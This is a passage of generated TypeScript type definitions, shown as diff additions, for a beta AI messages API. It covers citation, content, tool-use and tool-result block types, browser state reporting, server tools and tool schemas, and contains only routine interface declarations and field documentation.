/** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + document_title: string | null + end_char_index: number + /** + * @minimum 0 + * @type integer + */ + start_char_index: number + type: 'char_location' +} + +export type BetaRequestPageLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + document_title: string | null + end_page_number: number + /** + * @minimum 1 + * @type integer + */ + start_page_number: number + type: 'page_location' +} + +export type BetaRequestContentBlockLocationCitation = { + /** + * @description The full text of the cited block range, concatenated. + * + * Always equals the contents of `content[start_block_index:end_block_index]` joined together. The text block is the minimal citable unit; this field is never a substring of a single block. Not counted toward output tokens, and not counted toward input tokens when sent back in subsequent turns. + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + document_title: string | null + /** + * @description Exclusive 0-based end index of the cited block range in the source's `content` array. + * + * Always greater than `start_block_index`; a single-block citation has `end_block_index = start_block_index + 1`. + * @type integer + */ + end_block_index: number + /** + * @description 0-based index of the first cited block in the source's `content` array. + * @minimum 0 + * @type integer + */ + start_block_index: number + type: 'content_block_location' +} + +export type BetaRequestWebSearchResultLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + encrypted_index: string + title: string | null + type: 'web_search_result_location' + /** + * @minLength 1 + * @type string + */ + url: string +} + +export type BetaRequestSearchResultLocationCitation = { + /** + * @description The full text of the cited block range, concatenated. + * + * Always equals the contents of `content[start_block_index:end_block_index]` joined together. The text block is the minimal citable unit; this field is never a substring of a single block. Not counted toward output tokens, and not counted toward input tokens when sent back in subsequent turns. + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @description Exclusive 0-based end index of the cited block range in the source's `content` array. + * + * Always greater than `start_block_index`; a single-block citation has `end_block_index = start_block_index + 1`. + * @type integer + */ + end_block_index: number + /** + * @description 0-based index of the cited search result among all `search_result` content blocks in the request, in the order they appear across messages and tool results. + * + * Counted separately from `document_index`; server-side web search results are not included in this count. + * @minimum 0 + * @type integer + */ + search_result_index: number + source: string + /** + * @description 0-based index of the first cited block in the source's `content` array. + * @minimum 0 + * @type integer + */ + start_block_index: number + title: string | null + type: 'search_result_location' +} + +export type BetaRequestTextBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + citations?: + | ( + | (BetaRequestCharLocationCitation & { + type: 'char_location' + }) + | (BetaRequestPageLocationCitation & { + type: 'page_location' + }) + | (BetaRequestContentBlockLocationCitation & { + type: 'content_block_location' + }) + | (BetaRequestWebSearchResultLocationCitation & { + type: 'web_search_result_location' + }) + | (BetaRequestSearchResultLocationCitation & { + type: 'search_result_location' + }) + )[] + | null + /** + * @minLength 1 + * @type string + */ + text: string + type: 'text' +} + +export const betaBase64ImageSourceMediaTypeEnum = { + 'image/jpeg': 'image/jpeg', + 'image/png': 'image/png', + 'image/gif': 'image/gif', + 'image/webp': 'image/webp', +} as const + +export type BetaBase64ImageSourceMediaTypeEnumKey = + (typeof betaBase64ImageSourceMediaTypeEnum)[keyof typeof betaBase64ImageSourceMediaTypeEnum] + +export type BetaBase64ImageSource = { + data: string + media_type: BetaBase64ImageSourceMediaTypeEnumKey + type: 'base64' +} + +export type BetaURLImageSource = { + type: 'url' + url: string +} + +export type BetaFileImageSource = { + file_id: string + type: 'file' +} + +export const betaRequestImageTransformationsOversizedImageEnum = { + downsize: 'downsize', + error: 'error', +} as const + +export type BetaRequestImageTransformationsOversizedImageEnumKey = + (typeof betaRequestImageTransformationsOversizedImageEnum)[keyof typeof betaRequestImageTransformationsOversizedImageEnum] + +/** + * @description Configures the transformations the server applies to this image before the model observes it. Each key names a condition the server transforms images for; its value selects the transformation applied. Omitted keys keep their default behavior, and an empty object is equivalent to omitting the field. + * @type object + */ +export type BetaRequestImageTransformations = { + /** + * @description What the server does when this image exceeds the model's maximum image size. `"downsize"` (the default) scales the image down to fit, which changes the dimensions the model observes without telling you. `"error"` instead rejects the request with a 400 error naming the image's dimensions and the largest dimensions that fit, so you can scale the image deliberately — your image is never silently scaled down. + * @type string | undefined + */ + oversized_image?: BetaRequestImageTransformationsOversizedImageEnumKey +} + +export type BetaRequestImageBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + source: + | (BetaBase64ImageSource & { + type: 'base64' + }) + | (BetaURLImageSource & { + type: 'url' + }) + | (BetaFileImageSource & { + type: 'file' + }) + /** + * @description Configures the transformations the server applies to this image before the model observes it. Each key names a condition the server transforms images for; its value selects the transformation applied. Omitted keys keep their default behavior, and an empty object is equivalent to omitting the field. + */ + transformations?: BetaRequestImageTransformations | null + type: 'image' +} + +export type BetaRequestCitationsConfig = { + enabled?: boolean +} + +export type BetaBase64PDFSource = { + data: string + media_type: 'application/pdf' + type: 'base64' +} + +export type BetaPlainTextSource = { + data: string + media_type: 'text/plain' + type: 'text' +} + +export type BetaContentBlockSource = { + content: + | string + | ( + | (BetaRequestTextBlock & { + type: 'text' + }) + | (BetaRequestImageBlock & { + type: 'image' + }) + )[] + type: 'content' +} + +export type BetaURLPDFSource = { + type: 'url' + url: string +} + +export type BetaFileDocumentSource = { + file_id: string + type: 'file' +} + +export type BetaRequestDocumentBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + citations?: BetaRequestCitationsConfig | null + context?: string | null + source: + | (BetaBase64PDFSource & { + type: 'base64' + }) + | (BetaPlainTextSource & { + type: 'text' + }) + | (BetaContentBlockSource & { + type: 'content' + }) + | (BetaURLPDFSource & { + type: 'url' + }) + | (BetaFileDocumentSource & { + type: 'file' + }) + title?: string | null + type: 'document' +} + +export type BetaRequestSearchResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + citations?: BetaRequestCitationsConfig + content: BetaRequestTextBlock[] + source: string + title: string + type: 'search_result' +} + +export type BetaRequestThinkingBlock = { + /** + * @description The `signature` value of this thinking block, exactly as returned by the API in a previous response. Used to verify that the block was generated by Claude. + * + * Thinking blocks must be passed back unmodified and in their original order; a modified block results in a 400 `invalid_request_error`. + * @type string + */ + signature: string + /** + * @description The `thinking` text of this block as returned by the API. + * @type string + */ + thinking: string + type: 'thinking' +} + +export type BetaRequestRedactedThinkingBlock = { + /** + * @description The `data` value of this redacted thinking block, exactly as returned by the API in a previous response. Opaque and encrypted; pass it back unchanged. + * @type string + */ + data: string + type: 'redacted_thinking' +} + +/** + * @description Tool invocation directly from the model. + * @type object + */ +export type BetaDirectCaller = { + type: 'direct' +} + +/** + * @description Tool invocation generated by a server-side tool. + * @type object + */ +export type BetaServerToolCaller = { + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_id: string + type: 'code_execution_20250825' +} + +export type BetaServerToolCaller20260120 = { + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_id: string + type: 'code_execution_20260120' +} + +export type BetaRequestToolUseBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + caller?: + | (BetaDirectCaller & { + type: 'direct' + }) + | (BetaServerToolCaller & { + type: 'code_execution_20250825' + }) + | (BetaServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + /** + * @minLength 1 + * @maxLength 200 + * @type string + */ + name: string + /** + * @description For a toolset member tool_use, the toolset family this member belongs to. + */ + toolset_name?: string | null + type: 'tool_use' +} + +/** + * @description Tool reference block that can be included in tool_result content. + * @type object + */ +export type BetaRequestToolReferenceBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @minLength 1 + * @maxLength 256 + * @pattern ^[a-zA-Z0-9_-]{1,256}$ + * @type string + */ + tool_name: string + type: 'tool_reference' +} + +/** + * @description A tab this call's execution opened that remains open at its end — + * the creation delta of the `tabs` inventory, not an event log. + * + * Carries only the `tab_id`; the tab's `title` and `url` live on its + * `tabs` entry, which must include the same `tab_id`. A tab opened + * during a failed call gets no deferred `tab_opened`; it simply appears + * in the next result's `tabs` inventory. + * @type object + */ +export type BetaBrowserStateChangeTabOpened = { + /** + * @description The `tab_id` of the opened tab, present in `tabs`. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + tab_id: string + type: 'tab_opened' +} + +/** + * @description A file download that started during this call. + * @type object + */ +export type BetaBrowserStateChangeDownloadStarted = { + /** + * @description The caller-assigned identifier for this download, stable across the state changes reporting it. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + download_id: string + type: 'download_started' + /** + * @description The final post-redirect URL the download was served from. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + url: string +} + +/** + * @description A file download that finished during this call, reported with the + * same `download_id` as its `download_started` — or without a prior + * `download_started`, when the download finished during the call that + * started it (at most one state change per `download_id` per result). + * @type object + */ +export type BetaBrowserStateChangeDownloadCompleted = { + /** + * @description The caller-assigned identifier for this download, stable across the state changes reporting it. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + download_id: string + /** + * @description Where the executor saved the file, on the executor's filesystem. Only included when another tool in the same environment can read the file at that path. + */ + path?: string | null + /** + * @description The completed download's size. + */ + size_bytes?: number | null + type: 'download_completed' + /** + * @description The final post-redirect URL the download was served from. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + url: string +} + +/** + * @description A file download that failed — or was cancelled — during this call. + * @type object + */ +export type BetaBrowserStateChangeDownloadFailed = { + /** + * @description The caller-assigned identifier for this download, stable across the state changes reporting it. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + download_id: string + /** + * @description The failure or cancellation detail, when known. + */ + error?: string | null + type: 'download_failed' + /** + * @description The final post-redirect URL the download was served from. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + url: string +} + +/** + * @description One open browser tab reported in a `browser_state` block's `tabs` + * inventory. + * + * `tab_id` is the caller-assigned identifier for the tab; `title` and + * `url` describe the page the tab is currently showing and may be empty + * strings (a blank tab legitimately has both empty). `active` marks the + * tab that is active after this call; whenever `tabs` is non-empty, + * exactly one entry is marked. + * @type object + */ +export type BetaBrowserStateTabEntry = { + /** + * @description Whether this tab is the active tab after this call. Whenever `tabs` is non-empty, exactly one entry is marked `active: true`. + * @type boolean | undefined + */ + active?: boolean + /** + * @description The caller-assigned identifier for this tab, unique within the inventory. + * @minLength 1 + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + tab_id: string + /** + * @description The title of the page the tab is showing. May be empty. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + title: string + /** + * @description The URL of the page the tab is showing. May be empty. + * @maxLength 4096 + * @pattern ^[^\x00-\x1f\x7f-\x9f\u2028\u2029]*$ + * @type string + */ + url: string +} + +/** + * @description The caller's browser state after a browser toolset member call — + * the full inventory of open tabs, which tab is active, and any side + * effects (tabs opened, download state changes) the call produced. + * + * At most one per `tool_result`, only on a non-error result answering a + * browser toolset member `tool_use`. The server renders the + * model-visible text from it; the model never sees the raw fields. + * @type object + */ +export type BetaRequestBrowserStateBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Tabs opened and download state changes during this call. "Nothing to report" is expressed by omitting the field, never by an empty list. + */ + state_changes?: + | ( + | (BetaBrowserStateChangeTabOpened & { + type: 'tab_opened' + }) + | (BetaBrowserStateChangeDownloadStarted & { + type: 'download_started' + }) + | (BetaBrowserStateChangeDownloadCompleted & { + type: 'download_completed' + }) + | (BetaBrowserStateChangeDownloadFailed & { + type: 'download_failed' + }) + )[] + | null + /** + * @description All tabs open in the browser after this call — the full inventory, not a delta. May be empty. Whenever non-empty, exactly one entry carries `active: true`. + * @type array + */ + tabs: BetaBrowserStateTabEntry[] + type: 'browser_state' +} + +export type BetaRequestToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content?: + | string + | ( + | (BetaRequestTextBlock & { + type: 'text' + }) + | (BetaRequestImageBlock & { + type: 'image' + }) + | (BetaRequestSearchResultBlock & { + type: 'search_result' + }) + | (BetaRequestDocumentBlock & { + type: 'document' + }) + | (BetaRequestToolReferenceBlock & { + type: 'tool_reference' + }) + | (BetaRequestBrowserStateBlock & { + type: 'browser_state' + }) + )[] + is_error?: boolean + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + tool_use_id: string + /** + * @description For a toolset member tool_result, the toolset family of the paired tool_use. + */ + toolset_name?: string | null + type: 'tool_result' +} + +export const betaRequestServerToolUseBlockNameEnum = { + advisor: 'advisor', + web_search: 'web_search', + web_fetch: 'web_fetch', + code_execution: 'code_execution', + bash_code_execution: 'bash_code_execution', + text_editor_code_execution: 'text_editor_code_execution', + tool_search_tool_regex: 'tool_search_tool_regex', + tool_search_tool_bm25: 'tool_search_tool_bm25', +} as const + +export type BetaRequestServerToolUseBlockNameEnumKey = + (typeof betaRequestServerToolUseBlockNameEnum)[keyof typeof betaRequestServerToolUseBlockNameEnum] + +export type BetaRequestServerToolUseBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + caller?: + | (BetaDirectCaller & { + type: 'direct' + }) + | (BetaServerToolCaller & { + type: 'code_execution_20250825' + }) + | (BetaServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + name: BetaRequestServerToolUseBlockNameEnumKey + type: 'server_tool_use' +} + +export type BetaRequestWebSearchResultBlock = { + encrypted_content: string + page_age?: string | null + title: string + type: 'web_search_result' + url: string +} + +export const betaWebSearchToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + max_uses_exceeded: 'max_uses_exceeded', + too_many_requests: 'too_many_requests', + query_too_long: 'query_too_long', + request_too_large: 'request_too_large', +} as const + +export type BetaWebSearchToolResultErrorCodeKey = + (typeof betaWebSearchToolResultErrorCode)[keyof typeof betaWebSearchToolResultErrorCode] + +export type BetaRequestWebSearchToolResultError = { + error_code: BetaWebSearchToolResultErrorCodeKey + type: 'web_search_tool_result_error' +} + +export type BetaRequestWebSearchToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + caller?: + | (BetaDirectCaller & { + type: 'direct' + }) + | (BetaServerToolCaller & { + type: 'code_execution_20250825' + }) + | (BetaServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + content: + | BetaRequestWebSearchResultBlock[] + | BetaRequestWebSearchToolResultError + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'web_search_tool_result' +} + +export const betaWebFetchToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + url_too_long: 'url_too_long', + url_not_allowed: 'url_not_allowed', + url_not_in_prior_context: 'url_not_in_prior_context', + url_not_accessible: 'url_not_accessible', + unsupported_content_type: 'unsupported_content_type', + too_many_requests: 'too_many_requests', + max_uses_exceeded: 'max_uses_exceeded', + unavailable: 'unavailable', + content_too_large: 'content_too_large', +} as const + +export type BetaWebFetchToolResultErrorCodeKey = + (typeof betaWebFetchToolResultErrorCode)[keyof typeof betaWebFetchToolResultErrorCode] + +export type BetaRequestWebFetchToolResultError = { + error_code: BetaWebFetchToolResultErrorCodeKey + type: 'web_fetch_tool_result_error' +} + +export type BetaRequestWebFetchResultBlock = { + content: BetaRequestDocumentBlock + /** + * @description ISO 8601 timestamp when the content was retrieved + */ + retrieved_at?: string | null + type: 'web_fetch_result' + /** + * @description Fetched content URL + * @type string + */ + url: string +} + +export type BetaRequestWebFetchToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + caller?: + | (BetaDirectCaller & { + type: 'direct' + }) + | (BetaServerToolCaller & { + type: 'code_execution_20250825' + }) + | (BetaServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + content: BetaRequestWebFetchToolResultError | BetaRequestWebFetchResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'web_fetch_tool_result' +} + +export type BetaRequestAdvisorToolResultError = { + error_code: BetaAdvisorToolResultErrorCodeKey + type: 'advisor_tool_result_error' +} + +export type BetaRequestAdvisorResultBlock = { + stop_reason?: string | null + text: string + type: 'advisor_result' +} + +export type BetaRequestAdvisorRedactedResultBlock = { + /** + * @description Opaque blob produced by a prior response; must be round-tripped verbatim. + * @type string + */ + encrypted_content: string + stop_reason?: string | null + type: 'advisor_redacted_result' +} + +export type BetaRequestAdvisorToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content: + | BetaRequestAdvisorToolResultError + | BetaRequestAdvisorResultBlock + | BetaRequestAdvisorRedactedResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'advisor_tool_result' +} + +export const betaCodeExecutionToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', +} as const + +export type BetaCodeExecutionToolResultErrorCodeKey = + (typeof betaCodeExecutionToolResultErrorCode)[keyof typeof betaCodeExecutionToolResultErrorCode] + +export type BetaRequestCodeExecutionToolResultError = { + error_code: BetaCodeExecutionToolResultErrorCodeKey + type: 'code_execution_tool_result_error' +} + +export type BetaRequestCodeExecutionOutputBlock = { + file_id: string + type: 'code_execution_output' +} + +export type BetaRequestCodeExecutionResultBlock = { + content: BetaRequestCodeExecutionOutputBlock[] + return_code: number + stderr: string + stdout: string + type: 'code_execution_result' +} + +/** + * @description The output and exit code of Python code that Claude ran with the code execution tool, with standard output in encrypted form, sent back in a later request. + * @type object + */ +export type BetaRequestEncryptedCodeExecutionResultBlock = { + content: BetaRequestCodeExecutionOutputBlock[] + encrypted_stdout: string + return_code: number + stderr: string + type: 'encrypted_code_execution_result' +} + +export type BetaRequestCodeExecutionToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content: + | BetaRequestCodeExecutionToolResultError + | BetaRequestCodeExecutionResultBlock + | BetaRequestEncryptedCodeExecutionResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'code_execution_tool_result' +} + +export const betaBashCodeExecutionToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', + output_file_too_large: 'output_file_too_large', +} as const + +export type BetaBashCodeExecutionToolResultErrorCodeKey = + (typeof betaBashCodeExecutionToolResultErrorCode)[keyof typeof betaBashCodeExecutionToolResultErrorCode] + +export type BetaRequestBashCodeExecutionToolResultError = { + error_code: BetaBashCodeExecutionToolResultErrorCodeKey + type: 'bash_code_execution_tool_result_error' +} + +export type BetaRequestBashCodeExecutionOutputBlock = { + file_id: string + type: 'bash_code_execution_output' +} + +export type BetaRequestBashCodeExecutionResultBlock = { + content: BetaRequestBashCodeExecutionOutputBlock[] + return_code: number + stderr: string + stdout: string + type: 'bash_code_execution_result' +} + +export type BetaRequestBashCodeExecutionToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content: + | BetaRequestBashCodeExecutionToolResultError + | BetaRequestBashCodeExecutionResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'bash_code_execution_tool_result' +} + +export const betaTextEditorCodeExecutionToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', + file_not_found: 'file_not_found', +} as const + +export type BetaTextEditorCodeExecutionToolResultErrorCodeKey = + (typeof betaTextEditorCodeExecutionToolResultErrorCode)[keyof typeof betaTextEditorCodeExecutionToolResultErrorCode] + +export type BetaRequestTextEditorCodeExecutionToolResultError = { + error_code: BetaTextEditorCodeExecutionToolResultErrorCodeKey + error_message?: string | null + type: 'text_editor_code_execution_tool_result_error' +} + +export const betaRequestTextEditorCodeExecutionViewResultBlockFileTypeEnum = { + text: 'text', + image: 'image', + pdf: 'pdf', +} as const + +export type BetaRequestTextEditorCodeExecutionViewResultBlockFileTypeEnumKey = + (typeof betaRequestTextEditorCodeExecutionViewResultBlockFileTypeEnum)[keyof typeof betaRequestTextEditorCodeExecutionViewResultBlockFileTypeEnum] + +export type BetaRequestTextEditorCodeExecutionViewResultBlock = { + content: string + file_type: BetaRequestTextEditorCodeExecutionViewResultBlockFileTypeEnumKey + num_lines?: number | null + start_line?: number | null + total_lines?: number | null + type: 'text_editor_code_execution_view_result' +} + +export type BetaRequestTextEditorCodeExecutionCreateResultBlock = { + is_file_update: boolean + type: 'text_editor_code_execution_create_result' +} + +export type BetaRequestTextEditorCodeExecutionStrReplaceResultBlock = { + lines?: string[] | null + new_lines?: number | null + new_start?: number | null + old_lines?: number | null + old_start?: number | null + type: 'text_editor_code_execution_str_replace_result' +} + +export type BetaRequestTextEditorCodeExecutionToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content: + | BetaRequestTextEditorCodeExecutionToolResultError + | BetaRequestTextEditorCodeExecutionViewResultBlock + | BetaRequestTextEditorCodeExecutionCreateResultBlock + | BetaRequestTextEditorCodeExecutionStrReplaceResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'text_editor_code_execution_tool_result' +} + +export const betaToolSearchToolResultErrorCode = { + invalid_tool_input: 'invalid_tool_input', + unavailable: 'unavailable', + too_many_requests: 'too_many_requests', + execution_time_exceeded: 'execution_time_exceeded', +} as const + +export type BetaToolSearchToolResultErrorCodeKey = + (typeof betaToolSearchToolResultErrorCode)[keyof typeof betaToolSearchToolResultErrorCode] + +export type BetaRequestToolSearchToolResultError = { + error_code: BetaToolSearchToolResultErrorCodeKey + error_message?: string | null + type: 'tool_search_tool_result_error' +} + +export type BetaRequestToolSearchToolSearchResultBlock = { + tool_references: BetaRequestToolReferenceBlock[] + type: 'tool_search_tool_search_result' +} + +export type BetaRequestToolSearchToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content: + | BetaRequestToolSearchToolResultError + | BetaRequestToolSearchToolSearchResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + type: 'tool_search_tool_result' +} + +export type BetaRequestMCPToolUseBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + name: string + /** + * @description The name of the MCP server + * @type string + */ + server_name: string + type: 'mcp_tool_use' +} + +export type BetaRequestMCPToolResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + content?: string | BetaRequestTextBlock[] + is_error?: boolean + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + tool_use_id: string + type: 'mcp_tool_result' +} + +/** + * @description A content block that represents a file to be uploaded to the container + * Files uploaded via this block will be available in the container's input directory. + * @type object + */ +export type BetaRequestContainerUploadBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + file_id: string + type: 'container_upload' +} + +/** + * @description Reference to a single tool, by the name the model uses to call it: a + * tool declared in ``tools`` or defined by an earlier ``tool_addition`` + * block. Does not accept the composed ``{server}_{name}`` form the server + * assigns to MCP-resolved tools; use ``mcp_tool_reference`` or + * ``mcp_toolset_reference`` for those. + * @type object + */ +export type BetaToolChangeToolReference = { + /** + * @pattern ^[a-zA-Z0-9_-]{1,128}$ + * @type string + */ + name: string + type: 'tool_reference' +} + +/** + * @description Reference to a single MCP tool by its server and remote name; the + * same ``server_name``/``name`` pair ``mcp_tool_use`` carries. + * @type object + */ +export type BetaToolChangeMCPToolReference = { + name: string + server_name: string + type: 'mcp_tool_reference' +} + +/** + * @description Reference to every tool in the named MCP server's toolset. + * @type object + */ +export type BetaToolChangeMCPToolsetReference = { + server_name: string + type: 'mcp_toolset_reference' +} + +export type BetaInputSchema = { + properties?: { + [key: string]: unknown + } | null + required?: string[] | null + type: 'object' + [key: string]: unknown +} + +export type BetaJsonValue = unknown + +export type BetaTool = { + type?: null | 'custom' + /** + * @description Description of what this tool does. + * + * Tool descriptions should be as detailed as possible. The more information that the model has about what the tool is and how to use it, the better it will perform. You can use natural language descriptions to reinforce important aspects of the tool input JSON schema. + * @example Get the current weather in a given location + * @type string | undefined + */ + description?: string + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @minLength 1 + * @maxLength 128 + * @pattern ^[a-zA-Z0-9_-]{1,128}$ + * @type string + */ + name: string + /** + * @description [JSON schema](https://json-schema.org/draft/2020-12) for this tool's input. + * + * This defines the shape of the `input` that your tool accepts and that the model will produce. + * @example {"properties":{"location":{"description":"The city and state, e.g. San Francisco, CA","type":"string"},"unit":{"description":"Unit for the output - one of (celsius, fahrenheit)","type":"string"}},"required":["location"],"type":"object"} + * @type object + */ + input_schema: BetaInputSchema + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + /** + * @description Enable eager input streaming for this tool. When true, tool input parameters will be streamed incrementally as they are generated, and types will be inferred on-the-fly rather than buffering the full JSON output. When false, streaming is disabled for this tool even if the fine-grained-tool-streaming beta is active. When null (default), uses the default behavior based on beta headers. + */ + eager_input_streaming?: boolean | null + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] +} + +export type BetaBashTool20241022 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'bash' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'bash_20241022' +} + +export type BetaBashTool20250124 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'bash' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'bash_20250124' +} + +export type BetaCodeExecutionTool20250522 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs 